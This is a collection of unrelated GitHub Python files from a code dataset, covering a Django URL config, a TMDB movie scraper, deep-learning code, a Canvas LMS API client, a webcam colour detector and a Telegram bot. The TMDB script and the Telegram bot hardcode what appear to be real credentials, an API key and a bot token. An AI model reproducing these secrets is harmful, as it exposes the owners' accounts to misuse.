url(\"^join/(?P[0-9]+)$\", 'request_join', name=\"request_join\"),\n url(\"^finalize$\", 'finalize', name=\"finalize\"),\n url(\"^gamerequest/handle\", 'handle_game_request', name='handle_game_request'),\n url(\"^gamerequest\", 'game_request', name='game_request'),\n url(\"^compile_log\", 'compile_log', name='compile_log'),\n url(\"^final_submission\", 'final_submission', name='set_final_submission'),\n url(\"^play/$\", 'play_log', name='play_log'),\n url(\"^scoreboard$\", 'scoreboard', name=\"scoreboard\"),\n url(\"^billing/\", include('billing.urls')),\n)\n","repo_name":"SharifAIChallenge/AIC_mezzanine_site","sub_path":"base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"37007806062","text":"import requests\nimport json\n# import genres\n\ndef popular_count(page):\n BASE_URL = 'https://api.themoviedb.org/3'\n path='/movie/popular'\n query_string = {\n 'api_key': 'a8fa836c288fad1019bf59decf6c54eb',\n 'language':'ko',\n 'region':'KR',\n 'page': page\n }\n response = requests.get(BASE_URL + path, params=query_string).json()\n result = []\n result = response.get('results')\n movie_data = []\n for movie in result:\n data={}\n data['model'] = \"movies.movie\"\n data['pk'] = movie.get('id')\n data['fields'] = {\"title\": movie.get('title'),\n \"overview\":movie.get('overview'),\n 'genres':movie.get('genre_ids'),\n 'release_date':movie.get('release_date'),\n 'vote_average':movie.get('vote_average'),\n 'backdrop_path':movie.get('backdrop_path'),\n 'poster_path':movie.get('poster_path')\n }\n movie_data.append(data)\n # file_path = \"./movies/fixtures/moviedata.json\"\n # with open(file_path, 'w', encoding='UTF-8') as file:\n # file.write(json.dumps(movie_data[0:20], ensure_ascii=False, indent=4))\n return movie_data[0:20]\n # return result[3].get('title')\n\ntotal_movie=[]\nfor i in range(1,26):\n for j in popular_count(i):\n total_movie.append(j)\nfile_path = \"./movies/fixtures/moviedata.json\"\nwith open(file_path, 'w', encoding='UTF-8') as file:\n file.write(json.dumps(total_movie, ensure_ascii=False, indent=4))\n\n\n# data['id'] = movie.get('id')\n# data['title']= movie.get('title')\n# data['overview'] = movie.get('overview')\n# data['genres'] = movie.get('genre_ids')\n# data['release_date'] = movie.get('release_date')\n# data['vote_average'] = movie.get('vote_average')\n# data['backdrop_path'] = movie.get('backdrop_path')\n# data['poster_path'] = movie.get('poster_path')\n# for id in movie['genre_ids']:\n# data['genres'].append(genres[f'{id}'])\n\n# title = models.CharField()\n# overview = models.TextField()\n# genres = models.ManyToManyField(Genre,related_name='movie',blank=True)\n# poster_path = models.TextField()\n# release_date = models.DateField()\n# backdrop_path = models.TextField()\n# vote_average = models.FloatField()\n\n\n\n# file_path = \"./test.json\"\n\n# with open(file_path, 'w', encoding='utf-8') as file:\n# json.dump(data, file)\n","repo_name":"Kitjdeh/best_movie","sub_path":"back/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22350778780","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time : 2019/7/15 10:01\n# @Author : journal\n# @File : Note_3_1_tensor.py\n# @Software: PyCharm\n\nimport tensorflow as tf\n\nif __name__ == '__main__':\n # 定义 tensor\n a = tf.constant([1.0, 2.0], name=\"a\")\n b = tf.constant([3.0, 4.0], name=\"b\")\n c = tf.constant([5.0, 6.0], name=\"c\")\n # result_ab = a + b\n # result_bc = b + c\n result_ab = tf.add(a, b, name=\"add\")\n result_bc = tf.add(b, c, name=\"add\")\n print(result_ab)\n print(result_bc)\n # 获取计算图的结果\n with tf.Session() as session:\n result = session.run(result_ab)\n print(result)\n","repo_name":"haorengoodman/py37","sub_path":"learn/mytensorflow/note_3/Note_3_1_tensor.py","file_name":"Note_3_1_tensor.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39455334766","text":"import datetime\nimport json\nfrom typing import Tuple, List, Dict\nfrom urllib import response\n\nimport requests\n\n\nfrom statistics_api.definitions import CANVAS_ACCESS_KEY, CANVAS_API_URL, CA_FILE_PATH\n\n\nclass CanvasApiClient:\n\n def __init__(self):\n self.web_session = requests.Session()\n self.web_session.headers.update({\n \"Authorization\": f\"Bearer {CANVAS_ACCESS_KEY}\"\n })\n\n try:\n self.web_session.get(CANVAS_API_URL)\n except requests.exceptions.SSLError:\n # If current CA triggers SSL error, try custom CA\n self.web_session.verify = CA_FILE_PATH if CA_FILE_PATH else self.web_session.verify\n\n def get_group_categories_by_course(self, course_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/group_categories?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_groups_by_group_category_id(self, group_category_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/group_categories/{group_category_id}/groups?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_courses(self, canvas_account_id: int) -> Tuple[Dict]:\n \"\"\"\n Fetching all courses to which the configured account is root account of.\n :return:\n \"\"\"\n url = f\"{CANVAS_API_URL}/accounts/{canvas_account_id}/courses?include[]=total_students&per_page=100\"\n return self.paginate_through_url(url)\n\n def get_course(self, canvas_course_id: int) -> Dict:\n url = f\"{CANVAS_API_URL}/courses/{canvas_course_id}?include[]=total_students\"\n return self.get_single_element_from_url(url)\n\n def get_single_element_from_url(self, target_url) -> Dict:\n web_response = self.web_session.get(target_url)\n if web_response.status_code in (204, 404):\n return None\n if web_response.status_code != 200:\n print(web_response.status_code)\n raise AssertionError(f\"Could not retrieve data from Canvas LMS instance at {CANVAS_API_URL}\")\n\n return json.loads(web_response.text)\n\n def paginate_through_url(self, target_url: str, current_items: List = None) -> Tuple[Dict]:\n if current_items is None:\n current_items = []\n web_response = self.web_session.get(target_url)\n if web_response.status_code != 200:\n print(web_response)\n raise AssertionError(f\"Could not retrieve data from Canvas LMS instance at {target_url}\")\n new_items = json.loads(web_response.text)\n current_items += new_items\n if web_response.links.get('next'):\n next_page_url = web_response.links['next'].get('url')\n return self.paginate_through_url(target_url=next_page_url, current_items=current_items)\n return tuple(current_items)\n\n def paginate_through_url_module_items(self, target_url: str, current_items: List = None) -> Tuple[Dict]:\n if current_items is None:\n current_items = []\n web_response = self.web_session.get(target_url)\n if web_response.status_code in (401, 403):\n print(\"Response code not 200 \", web_response.status_code)\n print(target_url)\n return None\n if web_response.status_code != 200:\n print(web_response)\n raise AssertionError(f\"Could not retrieve data from Canvas LMS instance at {target_url}\")\n new_items = json.loads(web_response.text)\n current_items += new_items\n if web_response.links.get('next'):\n next_page_url = web_response.links['next'].get('url')\n return self.paginate_through_url(target_url=next_page_url, current_items=current_items)\n return tuple(current_items)\n\n\n def paginate_through_url_account_users(self, target_url: str, current_items: List = None) -> Tuple[Dict]:\n if current_items is None:\n current_items = []\n web_response = self.paginated_result_account_users(target_url)\n current_items += json.loads(web_response.text)\n yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n if len(current_items)>0:\n lastactive_date = self.get_last_active_date(current_items[len(current_items)-1].get('last_login'))\n while web_response.links.get('next') and lastactive_date >= yesterday:\n next_page_url = web_response.links['next'].get('url')\n web_response = self.paginated_result_account_users(next_page_url)\n current_items += json.loads(web_response.text)\n lastactive_date = self.get_last_active_date(current_items[len(current_items)-1].get('last_login'))\n return tuple(current_items)\n\n def get_last_active_date(self, last_login):\n if last_login is None:\n return datetime.datetime.strptime(\"2000-01-01T00:00:00Z\", '%Y-%m-%d' + 'T' + '%H:%M:%S' + 'Z')\n return datetime.datetime.strptime(last_login, '%Y-%m-%d' + 'T' + '%H:%M:%S' + 'Z')\n\n def paginated_result_account_users(self, target_url:str) -> response:\n web_response = self.web_session.get(target_url)\n if web_response.status_code != 200:\n print(web_response)\n raise AssertionError(f\"Could not retrieve data from Canvas LMS instance at {CANVAS_API_URL}\")\n return web_response\n\n def get_canvas_account_id_of_current_user(self) -> int:\n web_response = self.web_session.get(f\"{CANVAS_API_URL}/users/self\")\n account_json = json.loads(web_response.text)\n return int(account_json['id'])\n\n def get_canvas_accounts(self) -> Tuple[Dict]:\n \"\"\"Get a list of accounts that the current user can view or manage\"\"\"\n url = f\"{CANVAS_API_URL}/accounts\"\n return self.paginate_through_url(url)\n\n def get_account_users(self, account_id: int) -> Tuple[Dict]:\n \"\"\"Get a list of of users associated with specified account\"\"\"\n url = f\"{CANVAS_API_URL}/accounts/{account_id}/users?sort=last_login&order=desc\"\n return self.paginate_through_url_account_users(url)\n\n def get_user_history(self, canvas_userid: int) -> Dict:\n url = f\"{CANVAS_API_URL}/users/{canvas_userid}/history\"\n return self.get_single_element_from_url(url)\n\n def get_course_groups(self, course_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/groups?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_group_users(self, group_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/groups/{group_id}/users?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_course_students(self, course_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/users?enrollment_type[]=student&per_page=100\"\n return self.paginate_through_url(url)\n\n\n def get_course_students_recently_active(self, course_id) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/recent_students?per_page=100\"\n return self.paginate_through_url_account_users(url)\n\n def get_course_modules(self, course_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/modules?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_finnish_mark_per_student(self, course_id: int, module_id: int, student_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/modules/{module_id}/items?student_id={student_id}&per_page=100\"\n return self.paginate_through_url_module_items(url)\n\n\n def get_course_module_items(self, course_id: int, module_id: int) -> Tuple[Dict]:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/modules/{module_id}/items?per_page=100\"\n return self.paginate_through_url(url)\n\n def get_student_completed_item(self, course_id: int, module_id: int, item_id: int, student_id: int) -> Dict:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/modules/{module_id}/items/{item_id}?student_id={student_id}\"\n return self.get_single_element_from_url(url)\n\n def get_student_completed(self, course_id: int, student_id: int) -> Dict:\n url = f\"{CANVAS_API_URL}/courses/{course_id}/enrollments?state[]=completed&user_id={student_id}\"\n return self.paginate_through_url(url)\n\n def get_submissions_in_quiz(self, course_id, assignment_id):\n '''Get submissions in a given quiz to access open answer responses'''\n url = f\"{CANVAS_API_URL}/courses/{course_id}/assignments/{assignment_id}/submissions?include[]=submission_history&per_page=100\"\n return self.paginate_through_url(url)\n\n def get_udirdev_account_users(self, account_id: int):\n url = f\"{CANVAS_API_URL}/accounts/{account_id}/users?include[]=email&search_term=%40udir%2Edev&per_page=100\"\n return self.paginate_through_url(url)\n\n def delete_user(self, account_id, user_id):\n url = f\"{CANVAS_API_URL}/accounts/{account_id}/users/{user_id}\"\n web_response = self.web_session.delete(url)\n if web_response.status_code != 200:\n raise AssertionError(f\"Could not delete user from Canvas LMS instance at {CANVAS_API_URL}\")\n","repo_name":"matematikk-mooc/statistics-api","sub_path":"statistics_api/clients/canvas_api_client.py","file_name":"canvas_api_client.py","file_ext":"py","file_size_in_byte":9081,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"2828391764","text":"from math import sqrt\n\navaliacoes = {'Ana': \n\t\t{'Freddy x Jason': 2.5, \n\t\t 'O Ultimato Bourne': 3.5,\n\t\t 'Star Trek': 3.0, \n\t\t 'Exterminador do Futuro': 3.5, \n\t\t 'Norbit': 2.5, \n\t\t 'Star Wars': 3.0},\n\t \n\t 'Marcos': \n\t\t{'Freddy x Jason': 3.0, \n\t\t 'O Ultimato Bourne': 3.5, \n\t\t 'Star Trek': 1.5, \n\t\t 'Exterminador do Futuro': 5.0, \n\t\t 'Star Wars': 3.0, \n\t\t 'Norbit': 3.5}, \n\n\t 'Pedro': \n\t {'Freddy x Jason': 2.5, \n\t\t 'O Ultimato Bourne': 3.0,\n\t\t 'Exterminador do Futuro': 3.5, \n\t\t 'Star Wars': 4.0},\n\t\t\t \n\t 'Claudia': \n\t\t{'O Ultimato Bourne': 3.5, \n\t\t 'Star Trek': 3.0,\n\t\t 'Star Wars': 4.5, \n\t\t 'Exterminador do Futuro': 4.0, \n\t\t 'Norbit': 2.5},\n\t\t\t\t \n\t 'Adriano': \n\t\t{'Freddy x Jason': 3.0, \n\t\t 'O Ultimato Bourne': 4.0, \n\t\t 'Star Trek': 2.0, \n\t\t 'Exterminador do Futuro': 3.0, \n\t\t 'Star Wars': 3.0,\n\t\t 'Norbit': 2.0}, \n\n\t 'Janaina': \n\t {'Freddy x Jason': 3.0, \n\t 'O Ultimato Bourne': 4.0,\n\t 'Star Wars': 3.0, \n\t 'Exterminador do Futuro': 5.0, \n\t 'Norbit': 3.5},\n\t\t\t \n\t 'Leonardo': \n\t {'O Ultimato Bourne':4.5,\n 'Norbit':1.0,\n\t 'Exterminador do Futuro':4.0}\n}\n\ndef distacia_euclidiana(usuario1, usuario2):\n si = {}\n for key in avaliacoes[usuario1]:\n if key in avaliacoes[usuario2]:\n si[key] = 1\n \n if len(si) == 0: return 0\n\n soma = 0\n\n for item in avaliacoes[usuario1]:\n if item in avaliacoes[usuario2]:\n soma = soma + pow((avaliacoes[usuario1][item] - avaliacoes[usuario2][item]),2)\n\n # soma = sum([pow(avaliacoes[usuario1][item] - avaliacoes[usuario2][item],2) for item in avaliacoes[usuario1] if item in avaliacoes[usuario2]])\n\n return 1/(1 + sqrt(soma))\n\nresultado = distacia_euclidiana('Leonardo', 'Ana') \n\n# print(resultado)\n\nusuario_alvo = 'Pedro'\n\nfor usuario in avaliacoes:\n\tif usuario != usuario_alvo:\n\t\tresultado = distacia_euclidiana(usuario_alvo, usuario)\n\t\tprint('{0} - {1}'.format(usuario, resultado))\n","repo_name":"alexanderjr/pos-graduacao","sub_path":"Curso-Recomendacao/aula.py","file_name":"aula.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11782376871","text":"import numpy as np\r\nimport tensorflow as tf\r\nfrom object_detection.constants import *\r\n\r\n\r\ndef get_cell_grid(grid_w, grid_h, batch_size, box):\r\n \"\"\"Helper function to assure that the bounding box x and y are in the grid cell scale\"\"\"\r\n # cell_x shape = (1, 13, 13, 1, 1)\r\n cell_x = tf.cast(tf.reshape(tf.tile(tf.range(grid_w), [grid_h]), (1, grid_h, grid_w, 1, 1)), tf.float32)\r\n # cell_y shape = (1, 13, 13, 1, 1)\r\n cell_y = tf.transpose(cell_x, (0, 2, 1, 3, 4))\r\n # cell_grid shape = (batch_size, 13, 13, box, 2)\r\n cell_grid = tf.tile(tf.concat([cell_x, cell_y], -1), [batch_size, 1, 1, box, 1])\r\n return cell_grid\r\n\r\n\r\ndef adjust_scale_predictions(y_pred, cell_grid, anchors):\r\n \"\"\"Adjust prediction.\"\"\"\r\n box = int(len(anchors) / 2)\r\n pred_box_xy = tf.sigmoid(y_pred[..., :2]) + cell_grid # bx, by\r\n pred_box_wh = tf.exp(y_pred[..., 2:4]) * np.reshape(anchors, [1, 1, 1, box, 2]) # bw, bh\r\n pred_box_conf = tf.sigmoid(y_pred[..., 4]) # box confidence\r\n pred_box_class = y_pred[..., 5:] # adjust class probabilities\r\n\r\n return pred_box_xy, pred_box_wh, pred_box_conf, pred_box_class\r\n\r\n\r\ndef extract_ground_truth(y_true):\r\n true_box_xy = y_true[..., :2]\r\n true_box_wh = y_true[..., 2:4]\r\n true_box_conf = y_true[..., 4]\r\n true_box_class = tf.argmax(y_true[..., 5:], -1)\r\n return true_box_xy, true_box_wh, true_box_conf, true_box_class\r\n\r\n\r\ndef calc_loss_xywh(true_box_conf, coord_scale, true_box_xy, pred_box_xy, true_box_wh, pred_box_wh):\r\n \"\"\"Calculate coordination loss.\"\"\"\r\n coord_mask = tf.expand_dims(true_box_conf, axis=-1) * coord_scale\r\n coord_box_nb = tf.reduce_sum(tf.cast(coord_mask > 0.0, tf.float32))\r\n loss_xy = tf.reduce_sum(tf.square(true_box_xy - pred_box_xy) * coord_mask) / (coord_box_nb + 1e-6) / 2.\r\n loss_wh = tf.reduce_sum(tf.square(true_box_wh - pred_box_wh) * coord_mask) / (coord_box_nb + 1e-6) / 2.\r\n return loss_xy + loss_wh, coord_mask\r\n\r\n\r\ndef calc_loss_class(true_box_conf, class_scale, true_box_class, pred_box_class):\r\n \"\"\"Calculate class loss.\"\"\"\r\n class_mask = true_box_conf * class_scale\r\n class_box_nb = tf.reduce_sum(tf.cast(class_mask > 0.0, tf.float32))\r\n\r\n class_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(\r\n labels=true_box_class, logits=pred_box_class\r\n )\r\n class_loss = tf.reduce_sum(class_loss * class_mask) / (class_box_nb + 1e-6)\r\n\r\n return class_loss\r\n\r\n\r\ndef get_iou(true_xy, true_wh, pred_xy, pred_wh):\r\n \"\"\"Calculate intersect area.\"\"\"\r\n true_wh_half = 0.5 * true_wh\r\n true_xy_min = true_xy - true_wh_half\r\n true_xy_max = true_xy + true_wh_half\r\n\r\n pred_wh_half = 0.5 * pred_wh\r\n pred_xy_min = pred_xy - pred_wh_half\r\n pred_xy_max = pred_xy + pred_wh_half\r\n\r\n intersect_min = tf.maximum(true_xy_min, pred_xy_min)\r\n intersect_max = tf.minimum(true_xy_max, pred_xy_max)\r\n intersect_wh = tf.maximum(intersect_max - intersect_min, 0)\r\n intersect_area = intersect_wh[..., 0] * intersect_wh[..., 1]\r\n\r\n true_area = true_wh[..., 0] * true_wh[..., 1]\r\n pred_area = pred_wh[..., 0] * pred_wh[..., 1]\r\n union_area = true_area + pred_area - intersect_area + 1e-6\r\n iou_score = tf.truediv(intersect_area, union_area)\r\n return iou_score\r\n\r\n\r\ndef calc_iou_pred_true_assigned(true_box_conf, true_box_xy, true_box_wh, pred_box_xy, pred_box_wh):\r\n iou_scores = get_iou(true_box_xy, true_box_wh, pred_box_xy, pred_box_wh)\r\n true_box_conf_iou = iou_scores * true_box_conf\r\n return true_box_conf_iou\r\n\r\n\r\ndef calc_iou_pred_true_best(pred_box_xy, pred_box_wh, true_box_xy, true_box_wh):\r\n \"\"\"Finds the IOU of the objects that most likely included (best fitted).\"\"\"\r\n true_xy = tf.expand_dims(true_box_xy, 4) # (N BATCH, GRID_H, GRID_W, N ANCHOR, 1, 2)\r\n true_wh = tf.expand_dims(true_box_wh, 4)\r\n\r\n pred_xy = tf.expand_dims(pred_box_xy, 4) # (N BATCH, GRID_H, GRID_W, N ANCHOR, 1, 2)\r\n pred_wh = tf.expand_dims(pred_box_wh, 4)\r\n # (N BATCH, GRID_H, GRID_W, N ANCHOR, 1)\r\n iou_scores = get_iou(true_xy, true_wh, pred_xy, pred_wh)\r\n best_iou = tf.reduce_max(iou_scores, axis=4) # (N BATCH, GRID_H, GRID_W, N ANCHOR)\r\n return best_iou\r\n\r\n\r\ndef get_conf_mask(best_ious, true_box_conf, true_box_conf_iou, no_object_scale, object_scale):\r\n \"\"\"Get confidence mask.\"\"\"\r\n conf_mask = tf.cast(best_ious < 0.6, tf.float32) * (1 - true_box_conf) * no_object_scale\r\n conf_mask += true_box_conf_iou * object_scale\r\n return conf_mask\r\n\r\n\r\ndef calc_conf_loss(conf_mask, true_box_conf_iou, pred_box_conf):\r\n \"\"\"Calculate confidence loss.\"\"\"\r\n conf_box_nb = tf.reduce_sum(tf.cast(conf_mask > 0.0, tf.float32))\r\n conf_loss = tf.reduce_sum(tf.square(true_box_conf_iou - pred_box_conf) * conf_mask) / (conf_box_nb + 1e-6) / 2.\r\n return conf_loss\r\n\r\n\r\ndef custom_yolo_loss(y_true, y_pred):\r\n \"\"\"Custom yolo v2 loss function.\"\"\"\r\n # total_recall = tf.Variable(0.)\r\n\r\n # Step 1: adjust prediction output\r\n cell_grid = get_cell_grid(GRID_W, GRID_H, len(y_true), BOX)\r\n pred_box_xy, pred_box_wh, pred_box_conf, pred_box_class = adjust_scale_predictions(y_pred, cell_grid, ANCHORS)\r\n\r\n # Step 2: extract ground truth output\r\n true_box_xy, true_box_wh, true_box_conf, true_box_class = extract_ground_truth(y_true)\r\n\r\n # Step 3: Calculate loss for bounding box parameters\r\n loss_xywh, coord_mask = calc_loss_xywh(true_box_conf, LAMBDA_COORD, true_box_xy, pred_box_xy, true_box_wh, pred_box_wh)\r\n\r\n # Step 4: Calculate loss for class probabilities\r\n loss_class = calc_loss_class(true_box_conf, LAMBDA_CLASS, true_box_class, pred_box_class)\r\n # Step 5: For each (grid cell, anchor) pair, calculate the IoU between predicted and ground truth bounding box\r\n true_box_conf_iou = calc_iou_pred_true_assigned(true_box_conf, true_box_xy, true_box_wh, pred_box_xy, pred_box_wh)\r\n # Step 6: For each predicted bounded box from (grid cell, anchor box),\r\n # calculate the best IOU, regardless of the ground truth anchor box\r\n # that each object gets assigned.\r\n best_ious = calc_iou_pred_true_best(pred_box_xy, pred_box_wh, true_box_xy, true_box_wh)\r\n # Step 7: For each grid cell, calculate the L_{i,j}^{noobj}\r\n conf_mask = get_conf_mask(best_ious, true_box_conf, true_box_conf_iou, LAMBDA_NO_OBJECT, LAMBDA_OBJECT)\r\n # Step 8: Calculate loss for the confidence\r\n loss_conf = calc_conf_loss(conf_mask, true_box_conf_iou, pred_box_conf)\r\n\r\n loss = loss_xywh + loss_class + loss_conf\r\n return loss\r\n","repo_name":"ArashDehghanyan/object_detection","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":6501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25695573273","text":"import glob\nimport numpy as np\nimport os\nimport cv2\nfrom model.unet import UNet\nimport torch\n\nif __name__ == '__main__':\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n model = UNet(1, 1)\n model.to(device=device)\n\n model.load_state_dict(torch.load('best_model.pth', map_location=device))\n model.eval()\n\n tests_path = glob.glob('data/test/*.tif')\n for test_path in tests_path:\n save_res_path = test_path.split('.')[0] + '_res.tif'\n img = cv2.imread(test_path)\n img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n img = img.reshape(1, 1, img.shape[0], img.shape[1])\n img_tensor = torch.from_numpy(img)\n\n img_tensor = img_tensor.to(device=device, dtype=torch.float32)\n\n pred = model(img_tensor)\n\n pred = np.array(pred.data.cpu()[0])[0]\n\n pred[pred >= 0.5] = 255\n pred[pred < 0.5] = 0\n\n cv2.imwrite(save_res_path, pred)","repo_name":"Dexter1066/U-Net-for-Medical-Image-Segmentation","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18194739615","text":"from .camera import Camera\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport threading\n\n\n# Displays a circle in the middle of the screen, and prints the correct color in the circle\nclass ColorCamera(Camera):\n def __init__(self, circle_radius=10):\n super().__init__()\n # Circle attributes\n self.circle_radius = circle_radius\n self.closest_color_bgr = (0, 0, 0)\n\n # Calculated beforehand\n self.curr_frame = None\n self.center = None\n self.average_color = (0,0,0)\n\n # For help debugging, will create the average color box next to the real color box\n self.debug_mode = False\n\n def _calculate_before_hand(self, frame):\n height, width, _channels = frame.shape\n self.center = (int(width / 2), int(height / 2))\n self.curr_frame = frame\n\n # Makes a circle of ones in a bunch of zeros. Will tell the camera where to find the average color\n mask = np.zeros((height, width))\n cv2.circle(mask, self.center, self.circle_radius, 1, -1)\n\n color_file = pd.read_csv('res/colors.csv', header=None)\n color_file.columns = color_file.columns = ['comp_name', 'human_name', 'hex', 'r', 'g', 'b']\n\n # Set up a thread so the closest color can be calculated without stuttering the video\n def get_and_calculate_colors():\n exit_flag = threading.Event()\n while exit_flag:\n exit_flag.wait(.25)\n # In (B, G, R)\n average_color = np.mean(self.curr_frame[mask == 1], axis=0)\n self.average_color = average_color\n colors = np.array(color_file[['b', 'g', 'r']])\n errors = np.sum((colors - average_color) ** 2, axis=1)\n closest_color = color_file.loc[errors.argmin(), :]\n self.closest_color_bgr = tuple(closest_color[['b', 'g', 'r']])\n # Print the color name and the RGB value\n print(f\"{closest_color['human_name']} ({self.closest_color_bgr[2]}, {self.closest_color_bgr[1]}\"\n f\", {self.closest_color_bgr[0]})\")\n\n color_thread = threading.Thread(target=get_and_calculate_colors, daemon=True)\n color_thread.start()\n\n def _edit_frame(self, frame, frame_counter, **kwargs):\n self.curr_frame = frame.copy()\n\n # Draw circle in center\n cv2.circle(frame, self.center, self.circle_radius, (0, 0, 255), 1)\n # Draw colored square in corner\n cv2.rectangle(frame, (0, 0), (100, 100),\n (int(self.closest_color_bgr[0]), int(self.closest_color_bgr[1]),\n int(self.closest_color_bgr[2])), -1)\n if self.debug_mode:\n cv2.rectangle(frame, (100, 0), (200, 100), self.average_color, -1)\n return frame\n","repo_name":"GusPetito/realtime-colors","sub_path":"src/color_camera.py","file_name":"color_camera.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22692201647","text":"from telebot import TeleBot, types\nfrom worker import Worker\n\nbot = TeleBot(\"513218671:AAEa3DbXTXMfV8HH70RCx3naz9An_Z45dVQ\")\n_worker = Worker(bot)\n\nkeyboard = types.ReplyKeyboardMarkup(True)\nkeyboard.row(\"❌Стереть❌\", \"✅Отправить✅\")\n\n@bot.message_handler(commands=[\"start\"])\ndef command_handler(message):\n if message.chat.id == 497551952 or message.chat.id == 327793280:\n bot.send_message(message.chat.id, \"Выберите команду\", reply_markup=keyboard)\n else:\n bot.send_message(message.chat.id, \"Тебе сюда нельзя😏\")\n\n@bot.message_handler(commands=[\"stat\"])\ndef stat_handler(message):\n if message.chat.id == 497551952 or message.chat.id == 327793280:\n _worker.StatCommand()\n\n@bot.message_handler(content_types=[\"photo\", \"audio\", \"document\", \"sticker\", \"video\", \"contact\", \"voice\"])\ndef handle_other_types(message):\n _worker.Counter(message.from_user.id)\n\n@bot.message_handler(content_types=[\"text\"])\ndef handle_message(message):\n if message.chat.id == 497551952 or message.chat.id == 327793280:\n if message.text == \"❌Стереть❌\":\n _worker.ClearDB(message.from_user.id)\n elif message.text == \"✅Отправить✅\":\n _worker.SendStat(message.from_user.id)\n return\n if message.chat.id == -1001257615874:\n _worker.Counter(message.from_user.id)\n\nbot.polling(none_stop=True)","repo_name":"privetIAmAlex/volleyball1","sub_path":"bot1.py","file_name":"bot1.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31790279448","text":"'''\n실패율\n전체 스테이지의 개수 N, \n게임을 이용하는 사용자가 현재 멈춰있는 스테이지의 번호가 담긴 배열 stages가 매개변수로 주어질 때\n실패율이 높은 스테이지부터 내림차순으로 스테이지의 번호가 담겨있는 배열을 return 하도록 solution 함수를 완성하라.\n\n실패율은 다음과 같이 정의한다.\n스테이지에 도달했으나 아직 클리어하지 못한 플레이어의 수 / 스테이지에 도달한 플레이어 수\n\nN\tstages\tresult\n5\t[2, 1, 2, 6, 2, 4, 3, 3]\t[3,4,2,1,5]\n4\t[4,4,4,4,4]\t[4,1,2,3]\n\nn = 스테이지 갯수\n각 사용자의 현재 스테이지 번호\n만약 실패율이 같은 스테이지가 있다면 작은 번호의 스테이지가 먼저 오도록 하면 된다.\n\n실패율 높은 스테이지 내림차순.\n같은 실패율일땐 작은 번호가 앞으로\n\n스테이지에 도달한 유저가 없는 경우 해당 스테이지의 실패율은 0 으로 정의한다.\n\n오름차순 정렬하고, 이분탐색으로 찾음\n'''\nimport bisect\ndef solution(N, stages):\n answer = []\n tmp = []\n\n stages.sort()\n fail_man = 0\n total_man = len(stages)\n for i in range(1, N+1):\n fail_cnt = bisect.bisect_right(stages, i)# 몇 명\n\n if total_man == fail_man :\n fail_percent = 0\n else:\n fail_percent = fail_cnt / (total_man-fail_man)\n stages = stages[fail_cnt:]\n fail_man += fail_cnt\n tmp.append((fail_percent, -i))\n\n # x[0]이 큰 순서. x[1]이 작은 순서로 정렬해야함\n tmp.sort(reverse=True)\n for f, idx in tmp:\n answer.append(-idx)\n return answer\n\nn = 5\ns = [2, 1, 2, 6, 2, 4, 3, 3]\nsolution(n, s)","repo_name":"snowman95/pyalgo","sub_path":"코딩테스트/카카오2018/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"25519128032","text":"from concurrent.futures import wait as wait_futures\nimport time\nimport functools\n\ndef wait_then_echo(wait_time: int, x: int) -> int:\n time.sleep(wait_time)\n return x\n\ndef test_hashing_mpi_executor():\n from webilastik.scheduling.hashing_mpi_executor import HashingMpiExecutor\n\n executor = HashingMpiExecutor()\n print(f\"Created executor!\")\n num_workers = executor.num_workers\n\n # num_workers = 7\n # executor = ProcessPoolExecutor(max_workers=num_workers)\n\n num_tasks_per_worker = 20\n wait_time = 1\n expected_duration = num_tasks_per_worker * wait_time\n\n f = functools.partial(wait_then_echo, wait_time)\n\n t0 = time.time()\n futures = [executor.submit(f, i) for i in range(num_workers * num_tasks_per_worker)]\n # futures = [executor.submit(f, i) for i in range(executor.num_workers * num_tasks_per_worker)]\n _ = wait_futures(futures)\n delta = time.time() - t0\n\n print(f\"All tasks took 